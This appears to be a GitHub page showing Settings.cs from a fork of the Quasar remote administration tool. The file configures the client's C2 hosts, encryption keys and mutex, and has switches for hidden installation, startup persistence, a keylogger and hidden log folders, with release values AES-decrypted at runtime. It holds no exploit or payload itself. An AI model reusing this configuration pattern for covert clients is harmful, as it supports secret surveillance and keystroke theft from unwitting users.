forked from quasar/Quasar
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Settings.cs
95 lines (88 loc) · 3.7 KB
/
Settings.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
using System;
using xClient.Core.Helper;
#if !DEBUG
using xClient.Core.Cryptography;
#endif
namespace xClient.Config
{
public static class Settings
{
#if DEBUG
public static string VERSION = System.Windows.Forms.Application.ProductVersion;
public static string HOSTS = "localhost:4782;";
public static int RECONNECTDELAY = 500;
public static string KEY = "1WvgEMPjdwfqIMeM9MclyQ==";
public static string AUTHKEY = "NcFtjbDOcsw7Evd3coMC0y4koy/SRZGydhNmno81ZOWOvdfg7sv0Cj5ad2ROUfX4QMscAIjYJdjrrs41+qcQwg==";
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
public static string SUBDIRECTORY = "Test";
public static string INSTALLNAME = "test.exe";
public static bool INSTALL = false;
public static bool STARTUP = false;
public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
public static string STARTUPKEY = "Test key";
public static bool HIDEFILE = false;
public static bool ENABLELOGGER = false;
public static string TAG = "DEBUG";
public static string LOGDIRECTORYNAME = "Logs";
public static bool HIDELOGDIRECTORY = false;
public static bool HIDEINSTALLSUBDIRECTORY = false;
public static bool Initialize()
{
FixDirectory();
return true;
}
#else
public static string VERSION = "";
public static string HOSTS = "";
public static int RECONNECTDELAY = 5000;
public static string KEY = "";
public static string AUTHKEY = "";
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
public static string SUBDIRECTORY = "";
public static string INSTALLNAME = "";
public static bool INSTALL = false;
public static bool STARTUP = false;
public static string MUTEX = "";
public static string STARTUPKEY = "";
public static bool HIDEFILE = false;
public static bool ENABLELOGGER = false;
public static string ENCRYPTIONKEY = "";
public static string TAG = "";
public static string LOGDIRECTORYNAME = "";
public static bool HIDELOGDIRECTORY = false;
public static bool HIDEINSTALLSUBDIRECTORY = false;
public static bool Initialize()
{
if (string.IsNullOrEmpty(VERSION)) return false;
AES.SetDefaultKey(ENCRYPTIONKEY);
TAG = AES.Decrypt(TAG);
VERSION = AES.Decrypt(VERSION);
HOSTS = AES.Decrypt(HOSTS);
SUBDIRECTORY = AES.Decrypt(SUBDIRECTORY);
INSTALLNAME = AES.Decrypt(INSTALLNAME);
MUTEX = AES.Decrypt(MUTEX);
STARTUPKEY = AES.Decrypt(STARTUPKEY);
LOGDIRECTORYNAME = AES.Decrypt(LOGDIRECTORYNAME);
FixDirectory();
return true;
}
#endif
static void FixDirectory()
{
if (PlatformHelper.Is64Bit) return;
// https://msdn.microsoft.com/en-us/library/system.environment.specialfolder(v=vs.110).aspx
switch (SPECIALFOLDER)
{
case Environment.SpecialFolder.ProgramFilesX86:
SPECIALFOLDER = Environment.SpecialFolder.ProgramFiles;
break;
case Environment.SpecialFolder.SystemX86:
SPECIALFOLDER = Environment.SpecialFolder.System;
break;
}
DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
}
}
}